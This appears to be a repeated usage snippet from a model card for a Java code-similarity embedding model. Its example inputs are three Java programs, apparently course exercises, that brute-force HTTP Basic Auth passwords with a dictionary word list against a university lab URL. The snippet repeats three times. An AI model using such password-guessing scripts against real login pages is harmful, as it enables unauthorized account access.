model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
